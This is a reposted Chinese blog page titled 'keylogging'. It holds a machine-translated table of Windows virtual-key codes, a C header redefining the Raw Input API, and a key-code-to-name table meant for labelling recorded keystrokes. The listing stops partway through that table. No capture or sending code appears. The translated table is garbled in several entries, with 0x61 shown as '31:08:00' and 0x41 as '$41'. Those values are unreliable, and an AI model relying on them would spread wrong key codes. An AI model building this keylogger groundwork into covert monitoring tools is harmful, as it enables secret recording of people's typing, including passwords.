键盘记录

转载:http://blog.csdn.net/itcastcpp/article/details/7182791

虚拟键码

适用于:桌面应用程序

下表显示了符号常量的名称,十六进制值,鼠标或键盘等值的系统所使用的虚拟键码。按数字顺序列出的代码。

恒/值

描述

VK_LBUTTON

鼠标左键

0X01

 

VK_RBUTTON

鼠标右键

0X02

 

VK_CANCEL

控制中断处理

0x03

 

VK_MBUTTON

鼠标中键(三键鼠标)

0X04

 

VK_XBUTTON1

X1鼠标按钮

0X05

 

VK_XBUTTON2

X2鼠标按钮

0X06

 

-

未定义

0X07

 

VK_BACK

退格键

0X08

 

VK_TAB

TAB键

0X09

 

-

保留的

0X0A-0B

 

VK_CLEAR

CLEAR键

0X0C

 

VK_RETURN

回车键

0X0D

 

-

未定义

0X0E-0F

 

VK_SHIFT

按住SHIFT键

0x10

 

VK_CONTROL

CTRL键

0x11

 

VK_MENU

ALT键

0X12

 

VK_PAUSE

PAUSE键

0x13

 

VK_CAPITAL

CAPS LOCK键

0x14

 

VK_KANA

IME假名模式

0x15

 

VK_HANGUEL

IME Hanguel模式(保持兼容性;使用VK_HANGUL的

0x15

 

VK_HANGUL

IME韩文模式

0x15

 

-

未定义

0x16

 

VK_JUNJA

IME Junja模式

0x17

 

VK_FINAL

IME的最终模式

为0x18

 

VK_HANJA

IME汉字模式

0×19

 

VK_KANJI

IME汉字模式

0×19

 

-

未定义

0x1A的

 

VK_ESCAPE

ESC键

0x1B

 

VK_CONVERT

IME转换

0x1C

 

VK_NONCONVERT

IME nonconvert

0x1D

 

VK_ACCEPT

IME接受

0X1E

 

VK_MODECHANGE

IME模式变更请求

0x1F

 

VK_SPACE

空格键

0X20

 

VK_PRIOR

PAGE UP键

0×21

 

VK_NEXT

PAGE DOWN键

0x22

 

VK_END

END键

0X23

 

VK_HOME

HOME键

0X24

 

VK_LEFT

左箭头键

$25

 

VK_UP

向上箭头键

0X26

 

VK_RIGHT

右箭头键

0x27

 

VK_DOWN

向下箭头键

0x28

 

VK_SELECT

SELECT键

0x29

 

VK_PRINT

PRINT键

0x2A

 

VK_EXECUTE

执行关键

0x2B

 

VK_SNAPSHOT

Print Screen键

0x2c

 

VK_INSERT

INS键

0x2D

 

VK_DELETE

DEL键

0x2E

 

VK_HELP

HELP键

0x2F

 

0X30

0键

0X31

1键

0x32

2键

0x33

3个关键

0x34

4个关键

0x35

5个关键

0x36

6个关键

0x37

7个关键

0x38

8键

0x39

9键

-

未定义

0x3A-40

 

$41

一个关键

0x42

B键

×43

C键

0×44

D键

0X45

E键

0x46

F键

0X47

G键

0X48

H键

0X49

I键

0x4A

J键

0x4B

K键

0x4C

L键

0x4D

M键

0x4E

N键

0x4F

O键

0x50

P键

0x51

Q键

0x52

R键

0x53

S键

0x54

T键。

0x55

U键

0X56

V键

0x57

W键

0x58

X键

0x59

Y键。

0x5A

Z键

VK_LWIN

左边的Windows键(键盘)

0x5B

 

VK_RWIN

正确的Windows键(键盘)

0x5C

 

VK_APPS

应用键(自然科学键盘)

0x5D

 

-

保留的

0x5e

 

VK_SLEEP

计算机休眠键

0x5F

 

VK_NUMPAD0

数字小键盘的0键

0x60

 

VK_NUMPAD1

数字小键盘1键

31:08:00

 

VK_NUMPAD2

数字小键盘数字键2

0x62

 

VK_NUMPAD3

数字键盘3键

0x63

 

VK_NUMPAD4

数字小键盘4键

0x64

 

VK_NUMPAD5

数字小键盘5键

0x65

 

VK_NUMPAD6

数字小键盘6键

0x66

 

VK_NUMPAD7

数字小键盘7键

0x67

 

VK_NUMPAD8

数字键盘8键

为0x68

 

VK_NUMPAD9

9键数字键盘

0×69

 

VK_MULTIPLY

乘关键

0x6A

 

VK_ADD

添加关键

0x6B

 

VK_SEPARATOR

分隔符键

0x6C

 

VK_SUBTRACT

减去关键

0x6D

 

VK_DECIMAL

十进位的关键

0x6E

 

VK_DIVIDE

除以关键

0x6F

 

VK_F1

F1键

0x70

 

VK_F2

F2键

0x71

 

VK_F3

F3键

0x72

 

VK_F4

F4键

为0x73

 

VK_F5

F5键

0x74

 

VK_F6

F6键

0x75

 

VK_F7

F7键

0x76

 

VK_F8

F8键

0x77

 

VK_F9

F9键

0x78

 

VK_F10

F10键

0x79

 

VK_F11

F11键

0x7A

 

VK_F12

F12键

0x7B

 

VK_F13

F13键

0x7C

 

VK_F14

F14键

0x7D

 

VK_F15

F15键

0x7E

 

VK_F16

F16键

0x7F

 

VK_F17

F17键

0X80

 

VK_F18

F18键

0x81

 

VK_F19

F19键

0X82

 

VK_F20

F20键

0X83

 

VK_F21

F21键

0x84

 

VK_F22

F22键

0x85

 

VK_F23

F23键

0x86

 

VK_F24

F24键

87H

 

-

未分配

0x88-8F

 

VK_NUMLOCK

NUM LOCK键

0x90

 

VK_SCROLL

SCROLL LOCK键

0x91

 

0x92-96

OEM特定

-

未分配

0x97-9F

 

VK_LSHIFT

左边的Shift键

0xA0

 

VK_RSHIFT

右SHIFT键

0XA1

 

VK_LCONTROL

左侧控制键

0xA2

 

VK_RCONTROL

右边的Control键

0xA3

 

VK_LMENU

左边的菜单键

0xA4

 

VK_RMENU

右侧的菜单键

0xA5

 

VK_BROWSER_BACK

浏览器的后退键

0xA6

 

VK_BROWSER_FORWARD

浏览器快进键

0xA7

 

VK_BROWSER_REFRESH

浏览器刷新键

0XA8

 

VK_BROWSER_STOP

浏览器停止键

0xA9

 

VK_BROWSER_SEARCH

浏览器搜索键

0XAA

 

VK_BROWSER_FAVORITES

浏览器的收藏夹键

0xAB

 

VK_BROWSER_HOME

浏览器启动和Home键

0xAC

 

VK_VOLUME_MUTE

静音键

0xAD

 

VK_VOLUME_DOWN

音量键

0xAE

 

VK_VOLUME_UP

音量键

0xAF

 

VK_MEDIA_NEXT_TRACK

下一首键

0xB0

 

VK_MEDIA_PREV_TRACK

上一曲目键

0xB1

 

VK_MEDIA_STOP

停止媒体键

0xB2

 

VK_MEDIA_PLAY_PAUSE

播放/暂停媒体键

0xB3

 

VK_LAUNCH_MAIL

启动邮件键

0xB4

 

VK_LAUNCH_MEDIA_SELECT

选择媒体键

0xB5

 

VK_LAUNCH_APP1

1键启动应用程序

0xB6

 

VK_LAUNCH_APP2

2键启动应用程序

0xB7

 

-

保留的

0XB8-B9

 

VK_OEM_1

用于其他字符,它可以通过键盘的不同而有所差异。

0xBA

美国标准键盘,':'关键

VK_OEM_PLUS

对于任何一个国家/地区,'+'键

0xBB

 

VK_OEM_COMMA

对于任何国家/地区,','关键

0xBC

 

VK_OEM_MINUS

对于任何国家/地区,“ - ”键

0xBD

 

VK_OEM_PERIOD

对于任何一个国家/地区的'。' 关键

0xBE

 

VK_OEM_2

用于其他字符,它可以通过键盘的不同而有所差异。

0xBF

对于美国标准键盘的“/?” 关键

VK_OEM_3

用于其他字符,它可以通过键盘的不同而有所差异。

0XC0

美国标准键盘,`〜“键

-

保留的

0xC1-D7

 

-

未分配

0xD8-DA

 

VK_OEM_4

用于其他字符,它可以通过键盘的不同而有所差异。

0xDB

美国标准键盘,“[{'键

VK_OEM_5

用于其他字符,它可以通过键盘的不同而有所差异。

0xDC

美国标准键盘的“\ |”键

VK_OEM_6

用于其他字符,它可以通过键盘的不同而有所差异。

0xDD

美国标准键盘,']}“键

VK_OEM_7

用于其他字符,它可以通过键盘的不同而有所差异。

0xDE

对于美国标准键盘,single-quote/double-quote“键

VK_OEM_8

用于其他字符,它可以通过键盘的不同而有所差异。

0xDF

 

-

保留的

0XE0

 

0xE1

OEM特定

VK_OEM_102

无论是尖括号键或RT 102键键盘上的反斜杠键

0xE2

 

0xE3-E4

OEM特定

VK_PROCESSKEY

IME处理重要

0xE5

 

0xE6

OEM特定

VK_PACKET

用于传递Unicode字符,如果他们的击键。VK_PACKET关键是一个32位的虚拟键值用于非键盘输入法的低字中。有关详细信息,请参阅“备注”KEYBDINPUT,SendInput,WM_KEYDOWN,WM_KEYUP

0xE7

 

-

未分配

0xE8

 

0xE9-F5

OEM特定

VK_ATTN

联系人键

0xF6

 

VK_CRSEL

CRSEL关键

0XF7

 

VK_EXSEL

ExSel关键

0XF8

 

VK_EREOF

删除EOF键

0xF9

 

VK_PLAY

播放键

0xFA

 

VK_ZOOM

变焦键

0xFB

 

VK_NONAME

保留的

0xFC

 

VK_PA1

PA1键

0xFD

 

VK_OEM_CLEAR

清除键

0xFE

 

需求

最低支持的客户端

Windows 2000专业版

最低支持的服务器

Windows 2000 Server

头文件

Winuser.h

 



#ifndef _RAWINPUT_H
#define _RAWINPUT_H

#include <windows.h>


#define VK_SLEEP 0x5F        // 休眠键


#define  VK_OEM_1 0xBA
#define  VK_OEM_2 0xBF    //对于美国标准键盘的"/?" 关键
#define  VK_OEM_3 0XC0
#define  VK_OEM_4 0xDB	  // 美国标准键盘,"[{'键
#define  VK_OEM_5 0xDC    // 美国标准键盘的"\ |"键
#define  VK_OEM_6 0xDD	  // 美国标准键盘,']}"键
#define  VK_OEM_7 0xDE    // 对于美国标准键盘,single-quote/double-quote"键
#define  VK_OEM_8 0xDF    // 保留
#define  VK_OEM_102  0xE2
#define  VK_OEM_CLEAR 0xFE   //CLEAR
#define  VK_OEM_PERIOD 0xBE	 //对于任何一个国家/地区的'。' 关键
#define  VK_OEM_MINUS 0xBD   // 对于任何国家/地区," - "键
#define  VK_OEM_COMMA 0xBC   // 对于任何国家/地区,','关键
#define  VK_OEM_PLUS 0xBB    // 对于任何一个国家/地区,'+'键


/*
 * The input is in the regular message flow,
 * the app is required to call DefWindowProc
 * so that the system can perform clean ups.
 */
#define RIM_INPUT       0

/*
 * The input is sink only. The app is expected
 * to behave nicely.
 */
#define RIM_INPUTSINK   1


/*
 * Raw Input data header
 */
typedef struct tagRAWINPUTHEADER {
    DWORD dwType;
    DWORD dwSize;
    HANDLE hDevice;
    WPARAM wParam;
} RAWINPUTHEADER, *PRAWINPUTHEADER, *LPRAWINPUTHEADER;

/*
 * Type of the raw input
 */
#define RIM_TYPEMOUSE       0
#define RIM_TYPEKEYBOARD    1
#define RIM_TYPEHID         2

/*
 * Raw format of the mouse input
 */
typedef struct tagRAWMOUSE {
    /*
     * Indicator flags.
     */
    USHORT usFlags;

    /*
     * The transition state of the mouse buttons.
     */
    union {
        ULONG ulButtons;
        struct  {
            USHORT  usButtonFlags;
            USHORT  usButtonData;
        };
    };


    /*
     * The raw state of the mouse buttons.
     */
    ULONG ulRawButtons;

    /*
     * The signed relative or absolute motion in the X direction.
     */
    LONG lLastX;

    /*
     * The signed relative or absolute motion in the Y direction.
     */
    LONG lLastY;

    /*
     * Device-specific additional information for the event.
     */
    ULONG ulExtraInformation;

} RAWMOUSE, *PRAWMOUSE, *LPRAWMOUSE;

/*
 * Define the mouse button state indicators.
 */

#define RI_MOUSE_LEFT_BUTTON_DOWN   0x0001  // Left Button changed to down.
#define RI_MOUSE_LEFT_BUTTON_UP     0x0002  // Left Button changed to up.
#define RI_MOUSE_RIGHT_BUTTON_DOWN  0x0004  // Right Button changed to down.
#define RI_MOUSE_RIGHT_BUTTON_UP    0x0008  // Right Button changed to up.
#define RI_MOUSE_MIDDLE_BUTTON_DOWN 0x0010  // Middle Button changed to down.
#define RI_MOUSE_MIDDLE_BUTTON_UP   0x0020  // Middle Button changed to up.

#define RI_MOUSE_BUTTON_1_DOWN      RI_MOUSE_LEFT_BUTTON_DOWN
#define RI_MOUSE_BUTTON_1_UP        RI_MOUSE_LEFT_BUTTON_UP
#define RI_MOUSE_BUTTON_2_DOWN      RI_MOUSE_RIGHT_BUTTON_DOWN
#define RI_MOUSE_BUTTON_2_UP        RI_MOUSE_RIGHT_BUTTON_UP
#define RI_MOUSE_BUTTON_3_DOWN      RI_MOUSE_MIDDLE_BUTTON_DOWN
#define RI_MOUSE_BUTTON_3_UP        RI_MOUSE_MIDDLE_BUTTON_UP

#define RI_MOUSE_BUTTON_4_DOWN      0x0040
#define RI_MOUSE_BUTTON_4_UP        0x0080
#define RI_MOUSE_BUTTON_5_DOWN      0x0100
#define RI_MOUSE_BUTTON_5_UP        0x0200

/*
 * If usButtonFlags has RI_MOUSE_WHEEL, the wheel delta is stored in usButtonData.
 * Take it as a signed value.
 */
#define RI_MOUSE_WHEEL              0x0400

/*
 * Define the mouse indicator flags.
 */
#define MOUSE_MOVE_RELATIVE         0
#define MOUSE_MOVE_ABSOLUTE         1
#define MOUSE_VIRTUAL_DESKTOP    0x02  // the coordinates are mapped to the virtual desktop
#define MOUSE_ATTRIBUTES_CHANGED 0x04  // requery for mouse attributes


/*
 * Raw format of the keyboard input
 */
typedef struct tagRAWKEYBOARD {
    /*
     * The "make" scan code (key depression).
     */
    USHORT MakeCode;

    /*
     * The flags field indicates a "break" (key release) and other
     * miscellaneous scan code information defined in ntddkbd.h.
     */
    USHORT Flags;

    USHORT Reserved;

    /*
     * Windows message compatible information
     */
    USHORT VKey;
    UINT   Message;

    /*
     * Device-specific additional information for the event.
     */
    ULONG ExtraInformation;


} RAWKEYBOARD, *PRAWKEYBOARD, *LPRAWKEYBOARD;


/*
 * Define the keyboard overrun MakeCode.
 */

#define KEYBOARD_OVERRUN_MAKE_CODE    0xFF

/*
 * Define the keyboard input data Flags.
 */
#define RI_KEY_MAKE             0
#define RI_KEY_BREAK            1
#define RI_KEY_E0               2
#define RI_KEY_E1               4
#define RI_KEY_TERMSRV_SET_LED  8
#define RI_KEY_TERMSRV_SHADOW   0x10


/*
 * Raw format of the input from Human Input Devices
 */
typedef struct tagRAWHID {
    DWORD dwSizeHid;    // byte size of each report
    DWORD dwCount;      // number of input packed
    BYTE bRawData[1];
} RAWHID, *PRAWHID, *LPRAWHID;

/*
 * RAWINPUT data structure.
 */
typedef struct tagRAWINPUT {
    RAWINPUTHEADER header;
    union {
        RAWMOUSE    mouse;
        RAWKEYBOARD keyboard;
        RAWHID      hid;
    } data;
} RAWINPUT, *PRAWINPUT, *LPRAWINPUT;

/*
 * Flags for GetRawInputData
 */

#define RID_INPUT               0x10000003
#define RID_HEADER              0x10000005

typedef struct HRAWINPUT__ * HRAWINPUT;

typedef
UINT
(_stdcall * PGetRawInputData)(
    HRAWINPUT hRawInput,
    UINT uiCommand,
    LPVOID pData,
    PUINT pcbSize,
    UINT cbSizeHeader
);

/*
 * Raw Input Device Information
 */
#define RIDI_PREPARSEDDATA      0x20000005
#define RIDI_DEVICENAME         0x20000007  // the return valus is the character length, not the byte size
#define RIDI_DEVICEINFO         0x2000000b

typedef struct tagRID_DEVICE_INFO_MOUSE {
    DWORD dwId;
    DWORD dwNumberOfButtons;
    DWORD dwSampleRate;
} RID_DEVICE_INFO_MOUSE, *PRID_DEVICE_INFO_MOUSE;

typedef struct tagRID_DEVICE_INFO_KEYBOARD {
    DWORD dwType;
    DWORD dwSubType;
    DWORD dwKeyboardMode;
    DWORD dwNumberOfFunctionKeys;
    DWORD dwNumberOfIndicators;
    DWORD dwNumberOfKeysTotal;
} RID_DEVICE_INFO_KEYBOARD, *PRID_DEVICE_INFO_KEYBOARD;

typedef struct tagRID_DEVICE_INFO_HID {
    DWORD dwVendorId;
    DWORD dwProductId;
    DWORD dwVersionNumber;

    /*
     * Top level collection UsagePage and Usage
     */
    USHORT usUsagePage;
    USHORT usUsage;
} RID_DEVICE_INFO_HID, *PRID_DEVICE_INFO_HID;

typedef struct tagRID_DEVICE_INFO {
    DWORD cbSize;
    DWORD dwType;
    union {
        RID_DEVICE_INFO_MOUSE mouse;
        RID_DEVICE_INFO_KEYBOARD keyboard;
        RID_DEVICE_INFO_HID hid;
    };
} RID_DEVICE_INFO, *PRID_DEVICE_INFO, *LPRID_DEVICE_INFO;

typedef
UINT
(_stdcall * PGetRawInputDeviceInfoA)(
    HANDLE hDevice,
    UINT uiCommand,
    LPVOID pData,
    PUINT pcbSize
);

typedef
UINT
(_stdcall * PGetRawInputDeviceInfoW)(
    HANDLE hDevice,
    UINT uiCommand,
    LPVOID pData,
    PUINT pcbSize
);



/*
 * Raw Input Bulk Read: GetRawInputBuffer
 */
typedef
UINT
(_stdcall * PGetRawInputBuffer)(
    PRAWINPUT pData,
    PUINT pcbSize,
    UINT cbSizeHeader
);

/*
 * Raw Input request APIs
 */
typedef struct tagRAWINPUTDEVICE {
    USHORT usUsagePage; // Toplevel collection UsagePage
    USHORT usUsage;     // Toplevel collection Usage
    DWORD dwFlags;
    HWND hwndTarget;    // Target hwnd. NULL = follows keyboard focus
} RAWINPUTDEVICE, *PRAWINPUTDEVICE, *LPRAWINPUTDEVICE;

typedef CONST RAWINPUTDEVICE* PCRAWINPUTDEVICE;

#define RIDEV_REMOVE            0x00000001
#define RIDEV_EXCLUDE           0x00000010
#define RIDEV_PAGEONLY          0x00000020
#define RIDEV_NOLEGACY          0x00000030
#define RIDEV_INPUTSINK         0x00000100
#define RIDEV_CAPTUREMOUSE      0x00000200  // effective when mouse nolegacy is specified, otherwise it would be an error
#define RIDEV_NOHOTKEYS         0x00000200  // effective for keyboard.
#define RIDEV_APPKEYS           0x00000400  // effective for keyboard.
#define RIDEV_EXMODEMASK        0x000000F0

#define RIDEV_EXMODE(mode)  ((mode) & RIDEV_EXMODEMASK)

typedef
BOOL
(_stdcall * PRegisterRawInputDevices)(
    PCRAWINPUTDEVICE pRawInputDevices,
    UINT uiNumDevices,
    UINT cbSize
);

typedef
UINT
(_stdcall * PGetRegisteredRawInputDevices)(
    PRAWINPUTDEVICE pRawInputDevices,
    PUINT puiNumDevices,
    UINT cbSize
);


typedef struct tagRAWINPUTDEVICELIST {
    HANDLE hDevice;
    DWORD dwType;
} RAWINPUTDEVICELIST, *PRAWINPUTDEVICELIST;

typedef
UINT
(_stdcall * PGetRawInputDeviceList)(
    PRAWINPUTDEVICELIST pRawInputDeviceList,
    PUINT puiNumDevices,
    UINT cbSize);

typedef
LRESULT
(_stdcall * PDefRawInputProc)(
    PRAWINPUT *paRawInput,
    INT nInput,
    UINT cbSizeHeader
);

#define WM_INPUT 0x00ff

#endif

#ifndef _VKEY_H
#define _VKEY_H

struct VKeyInfo{
	USHORT VKey;
	LPCSTR VKname;
};

#define AddVKey(VK, VKName)   {(VK), (VKName)}


static VKeyInfo vkis[] = {
		AddVKey(VK_LBUTTON, "Left mouse button"),
		AddVKey(VK_RBUTTON, "Right mouse button"),
        AddVKey(VK_CANCEL, "Control-break processing"),
		AddVKey(0x04, "[Middle mouse button (three-button mouse]"),
		AddVKey(0x05, "Windows 2000/XP: X1 mouse button"),
		AddVKey(0x06, "Windows 2000/XP: X2 mouse button"),
		AddVKey(0x07, "Undefined"),
		AddVKey(VK_BACK, "[BACKSPACE]"),
		AddVKey(VK_TAB, "[TAB]"),
		AddVKey(0x0A, "Reserved"),
		AddVKey(0x0B, "Reserved"),
		AddVKey(VK_CLEAR, "[CLEAR]"),
		AddVKey(VK_RETURN, "[ENTER]"),
		AddVKey(0x0E, "Undefined"),
		AddVKey(0x0F, "Undefined"),
		AddVKey(VK_SHIFT, "[SHIFT]"),
		AddVKey(VK_CONTROL, "[CTRL]"),
		AddVKey(VK_MENU, "[ALT]"),
		AddVKey(VK_PAUSE, "[PAUSE]"),
		AddVKey(VK_CAPITAL, "[caps lock]"),
		AddVKey(VK_KANA, "Input Method Editor (IME) Kana mode"),
		AddVKey(VK_HANGUL, "IME Hangul mode"),
		AddVKey(0x16, "Undefined"),
		AddVKey(VK_JUNJA, "IME Junja mode"),
		AddVKey(VK_FINAL, "IME final mode"),
		AddVKey(VK_HANJA, "IME Hanja mode"),
		AddVKey(VK_KANJI, "IME Kanji mode"),
		AddVKey(0x1A, "Undefined"),
		AddVKey(VK_ESCAPE, "[ESC]"),
		AddVKey(VK_CONVERT, "IME convert"),
		AddVKey(VK_NONCONVERT, "IME nonconvert"),
		AddVKey(VK_ACCEPT, "IME accept"),
		AddVKey(VK_MODECHANGE, "IME mode change request"),
		AddVKey(VK_SPACE, "[space]"),
		AddVKey(VK_PRIOR, "[PAGE UP]"),
		AddVKey(VK_NEXT, "[PAGE DOWN]"),
		AddVKey(VK_END, "[END]"),
		AddVKey(VK_HOME, "[HOME]"),
		AddVKey(VK_LEFT, "[LEFT ARROW]"),
		AddVKey(VK_UP, "[UP ARROW]"),
		AddVKey(VK_RIGHT, "[RIGHT ARROW]"),
		AddVKey(VK_DOWN, "[DOWN ARROW]"),
		AddVKey(VK_SELECT, "[SELECT]"),
		AddVKey(VK_PRINT, "[PRINT]"),
		AddVKey(VK_EXECUTE, "[EXECUTE]"),
		AddVKey(VK_SNAPSHOT, "[PRINT SCREEN]"),
		AddVKey(VK_INSERT, "[INSERT]"),
		AddVKey(VK_DELETE, "[DEL]"),
		AddVKey(VK_HELP, "[HELP]"),
		AddVKey(0x30, "0"),
		AddVKey(0x31, "1"),
		AddVKey(0x32, "2"),
		AddVKey(0x33, "3"),
		AddVKey(0x34, "4"),
		AddVKey(0x35, "5"),
		AddVKey(0x36, "6"),
		AddVKey(0x37, "7"),
		AddVKey(0x38, "8"),
		AddVKey(0x39, "9"),
		AddVKey(0x3A, "Undefined"),
		AddVKey(0x3B, "Undefined"),
		AddVKey(0x3C, "Undefined"),
		AddVKey(0x3D, "Undefined"),
		AddVKey(0x3E, "Undefined"),
		AddVKey(0x3F, "Undefined"),
		AddVKey(0x40, "Undefined"),
		AddVKey(0x41, "a"),
		AddVKey(0x42, "b"),
		AddVKey(0x43, "c"),
		AddVKey(0x44, "d"),
		AddVKey(0x45, "e"),
		AddVKey(0x46, "f"),
		AddVKey(0x47, "g"),
		AddVKey(0x48, "h"),
		AddVKey(0x49, "i"),
		AddVKey(0x4A, "j"),
		AddVKey(0x4B, "k"),
		AddVKey(0x4C, "l"),
		AddVKey(0x4D, "m"),
		AddVKey(0x4E, "n"),
		AddVKey(0x4F, "o"),
		AddVKey(0x50, "p"),
		AddVKey(0x51, "q"),
		AddVKey(0x52, "r"),
		AddVKey(0x53, "s"),
		AddVKey(0x54, "t"),
		AddVKey(0x55, "u"),
		AddVKey(0x56, "v"),
		AddVKey(0x57, "w"),
		AddVKey(0x58, "x"),
		AddVKey(0x59, "y"),
		AddVKey(0x5A, "z"),

		AddVKey(VK_LWIN, "Left Windows key (Microsoft Natural keyboard)"),
		AddVKey(VK_RWIN, "Right Windows key (Natural keyboard)"),
		AddVKey(VK_APPS, "Applications key (Natural keyboard)"),
		AddVKey(0x5E, "Reserved"),
		AddVKey(VK_SLEEP, "Computer Sleep key"),
		AddVKey(VK_NUMPAD0, "Numeric keypad 0 key"),
		AddVKey(VK_NUMPAD1, "Numeric keypad 1 key"),
		AddVKey(VK_NUMPAD2, "Numeric keypad 2 key"),
		AddVKey(VK_NUMPAD3, "Numeric keypad 3 key"),
		AddVKey(VK_NUMPAD4, "Numeric keypad 4 key"),
		AddVKey(VK_NUMPAD5, "Numeric keypad 5 key"),
		AddVKey(VK_NUMPAD6, "Numeric keypad 6 key"),
		AddVKey(VK_NUMPAD7, "Numeric keypad 7 key"),
		AddVKey(VK_NUMPAD8, "Numeric keypad 8 key"),
		AddVKey(VK_NUMPAD9, "Numeric keypad 9 key"),
		AddVKey(VK_MULTIPLY, "Multiply key"),
		AddVKey(VK_ADD, "Add key"),
		AddVKey(VK_SEPARATOR, "Separator key"),
		AddVKey(VK_SUBTRACT, "Subtract key"),
		AddVKey(VK_DECIMAL, "Decimal key"),
		AddVKey(VK_DIVIDE, "Divide key"),
		AddVKey(VK_F1, "[F1]"),
		AddVKey(VK_F2, "[F2]"),
		AddVKey(VK_F3, "[F3]"),
		AddVKey(VK_F4, "[F4]"),
		AddVKey(VK_F5, "[F5]"),
		AddVKey(VK_F6, "[F6]"),
		AddVKey(VK_F7, "[F7]"),
		AddVKey(VK_F8, "[F8]"),
		AddVKey(VK_F9, "[F9]"),
		AddVKey(VK_F10, "[F10]"),
		AddVKey(VK_F11, "[F11]"),
		AddVKey(VK_F12, "[F12]"),
		AddVKey(VK_F13, "[F13]"),
		AddVKey(VK_F14, "[F14]"),
		AddVKey(VK_F15, "[F15]"),
		AddVKey(VK_F16, "[F16]"),
		AddVKey(VK_F17, "[F17]"),
		AddVKey(VK_F18, "[F18]"),
		AddVKey(VK_F19, "[F19]"),
		AddVKey(VK_F20, "[F20]"),
		AddVKey(VK_F21, "[F21]"),
		AddVKey(VK_F22, "[F22]"),
		AddVKey(VK_F23, "[F23]"),
		AddVKey(VK_F24, "[F24]"),
		AddVKey(0x88, "Unassigned"),
		AddVKey(0x89, "Unassigned"),
		AddVKey(0x8A, "Unassigned"),
		AddVKey(0x8B, "Unassigned"),
		AddVKey(0x8C, "Unassigned"),
		AddVKey(0x8D, "Unassigned"),
		AddVKey(0x8E, "Unassigned"),
		AddVKey(0x8F, "Unassigned"),
		AddVKey(VK_NUMLOCK, "[NUM LOCK]"),
		AddVKey(VK_SCROLL, "[SCROLL LOCK]"),
		AddVKey(0x92, "OEM specific"),
		AddVKey(0x93, "OEM specific"),
		AddVKey(0x94, "OEM specific"),
		AddVKey(0x95, "OEM specific"),
		AddVKey(0x96, "OEM specific"),
		AddVKey(0x97, "Unassigned"),
		AddVKey(0x98, "Unassigned"),
		AddVKey(0x99, "Unassigned"),
		AddVKey(0x9A, "Unassigned"),
		AddVKey(0x9B, "Unassigned"),
		AddVKey(0x9C, "Unassigned"),
		AddVKey(0x9D, "Unassigned"),
		AddVKey(0x9E, "Unassigned"),
		AddVKey(0x9F, "Unassigned"),
		AddVKey(VK_LSHIFT, "[Left SHIFT ]"),
		AddVKey(VK_RSHIFT, "[Right SHIFT]"),
		AddVKey(VK_LCONTROL, "[Left CONTROL]"),
		AddVKey(VK_RCONTROL, "[Right CONTROL]"),
		AddVKey(VK_LMENU, "Left MENU key"),
		AddVKey(VK_RMENU, "Right MENU key"),
		AddVKey(0xA6, "Windows 2000/XP: Browser Back key"),
		AddVKey(0xA7, "Windows 2000/XP: Browser Forward key"),
		AddVKey(0xA8, "Windows 2000/XP: Browser Refresh key"),
		AddVKey(0xA9, "Windows 2000/XP: Browser Stop key"),
		AddVKey(0xAA, "Windows 2000/XP: Browser Search key"),
		AddVKey(0xAB, "Windows 2000/XP: Browser Favorites key"),
		AddVKey(0xAC, "Windows 2000/XP: Browser Start and Home key"),
		AddVKey(0xAD, "Windows 2000/XP: Volume Mute key"),
		AddVKey(0xAE, "Windows 2000/XP: Volume Down key"),
		AddVKey(0xAF, "Windows 2000/XP: Volume Up key"),
		AddVKey(0xB0, "Windows 2000/XP: Next Track key"),
		AddVKey(0xB1, "Windows 2000/XP: Previous Track key"),
		AddVKey(0xB2, "Windows 2000/XP: Stop Media key"),
		AddVKey(0xB3, "Windows 2000/XP: Play/Pause Media key"),
		AddVKey(0xB4, "Windows 2000/XP: Start Mail key"),
		AddVKey(0xB5, "Windows 2000/XP: Select Media key"),
		AddVKey(0xB6, "Windows 2000/XP: Start Application 1 key"),
		AddVKey(0xB7, "Windows 2000/XP: Start Application 2 key"),
		AddVKey(0xB8, "Reserved"),
		AddVKey(0xB9, "Reserved"),
		AddVKey(VK_OEM_1, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \';:\' key"),
		AddVKey(VK_OEM_PLUS, "Windows 2000/XP: For any country/region, the \'+\' key"),
		AddVKey(VK_OEM_COMMA, "Windows 2000/XP: For any country/region, the \',\' key"),
		AddVKey(VK_OEM_MINUS, "Windows 2000/XP: For any country/region, the \'-\' key"),
		AddVKey(VK_OEM_PERIOD, "Windows 2000/XP: For any country/region, the \'.\' key"),
		AddVKey(VK_OEM_2, "Used for miscellaneous characters; it can vary by keyboard."
                          "Windows 2000/XP: For the US standard keyboard, the \'/?\' key"),
		AddVKey(VK_OEM_3, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'`~\' key"),
		AddVKey(0xC1, "Reserved"),
		AddVKey(0xC2, "Reserved"),
		AddVKey(0xC3, "Reserved"),
		AddVKey(0xC4, "Reserved"),
		AddVKey(0xC5, "Reserved"),
		AddVKey(0xC6, "Reserved"),
		AddVKey(0xC7, "Reserved"),
		AddVKey(0xC8, "Reserved"),
		AddVKey(0xC9, "Reserved"),
		AddVKey(0xCA, "Reserved"),
		AddVKey(0xCB, "Reserved"),
		AddVKey(0xCC, "Reserved"),
		AddVKey(0xCD, "Reserved"),
		AddVKey(0xCE, "Reserved"),
		AddVKey(0xCF, "Reserved"),
		AddVKey(0xD0, "Reserved"),
		AddVKey(0xD1, "Reserved"),
		AddVKey(0xD2, "Reserved"),
		AddVKey(0xD3, "Reserved"),
		AddVKey(0xD4, "Reserved"),
		AddVKey(0xD5, "Reserved"),
		AddVKey(0xD6, "Reserved"),
		AddVKey(0xD7, "Reserved"),
		AddVKey(0xD8, "Unassigned"),
		AddVKey(0xD9, "Unassigned"),
		AddVKey(0xDA, "Unassigned"),
		AddVKey(VK_OEM_4, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'[{\' key"),
	    AddVKey(VK_OEM_5, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'\\|\' key"),
		AddVKey(VK_OEM_6, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \']}\' key"),
	    AddVKey(VK_OEM_7, "Used for miscellaneous characters; it can vary by keyboard." 
                          "Windows 2000/XP: For the US standard keyboard, the \'single-quote/double-quote\' key"),

		AddVKey(VK_OEM_8, "Used for miscellaneous characters; it can vary by keyboard."), 
		AddVKey(0xE0, "Reserved"),
		AddVKey(0xE1, "OEM specific"),
		AddVKey(VK_OEM_102, "Windows 2000/XP: Either the angle bracket key or the backslash key on the RT 102-key keyboard"),
		AddVKey(0xE3, "OEM specific"),
		AddVKey(0xE4, "OEM specific"),
